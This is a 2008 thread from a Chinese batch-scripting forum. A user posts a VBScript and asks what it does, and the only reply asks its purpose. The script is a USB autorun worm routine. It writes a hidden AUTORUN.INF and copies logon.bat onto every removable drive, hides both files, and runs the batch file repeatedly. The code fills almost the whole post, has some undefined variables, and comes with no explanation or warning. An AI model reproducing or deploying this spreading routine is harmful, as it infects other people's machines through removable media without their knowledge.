Board logo

标题: 解释下这个VBS代码 [打印本页]

作者: 330428725    时间: 2008-1-26 18:23     标题: 解释下这个VBS代码

  1. on error resume next
  2. strComputer = "."
  3. set fs =createobject("scripting.filesystemobject")
  4. set WshShell = WScript.CreateObject("WScript.Shell")
  5. Set objWMIService = GetObject("winmgmts:" _
  6. & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
  7. Set colDisks = objWMIService.ExecQuery _
  8. ("Select * from Win32_LogicalDisk")
  9. For i =1 to 9000000000
  10. For Each objDisk in colDisks
  11. Select Case objDisk.DriveType
  12. :Case 2:
  13. y1=fs.FileExists(objDisk.DeviceID & "\AUTORUN.INF")
  14. if not y1 then
  15. set f=fs.opentextfile(objDisk.DeviceID & "\AUTORUN.INF",2, true)
  16. f.write "[AutoRun]" & vbcrlf
  17. f.write "open=logon.bat" & vbcrlf
  18. f.write "shellexecute=logon.bat" & vbcrlf
  19. f.write "shell\Auto\command=logon.bat" & vbcrlf
  20. f.Close
  21. Set f1 = fs.GetFile(objDisk.DeviceID & "\AUTORUN.INF")
  22. If f1.Attributes = f1.Attributes AND 2 Then
  23. :f1.Attributes = f1.Attributes XOR 7:
  24. End If
  25. end if
  26. y2=fs.FileExists(objDisk.DeviceID & "\logon.bat")
  27. if not y2 then
  28. fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID & "\"
  29. Set f2 = fs.GetFile(objDisk.DeviceID & "\logon.bat")
  30. If f2.Attributes = f2.Attributes AND 2 Then
  31. :f2.Attributes = f2.Attributes XOR 7:
  32. End If
  33. end if
  34. dirr = Wshshell.ExpandEnvironmentStrings("C:")
  35. if not y3 then
  36. WshShell.Run "logon.bat"
  37. WScript.Sleep 500
  38. If f3.Attributes = f3.Attributes AND 2 Then
  39. :f3.Attributes = f3.Attributes XOR 7:
  40. End If
  41. end if
  42. End Select
  43. Next
  44. WScript.Sleep 5000
  45. Next
复制代码
详细解释下这个代码
作者: xxx3212    时间: 2008-1-26 19:51

这个代码的用处是什么




欢迎光临 批处理之家 (http://bathome.net./) Powered by Discuz! 7.2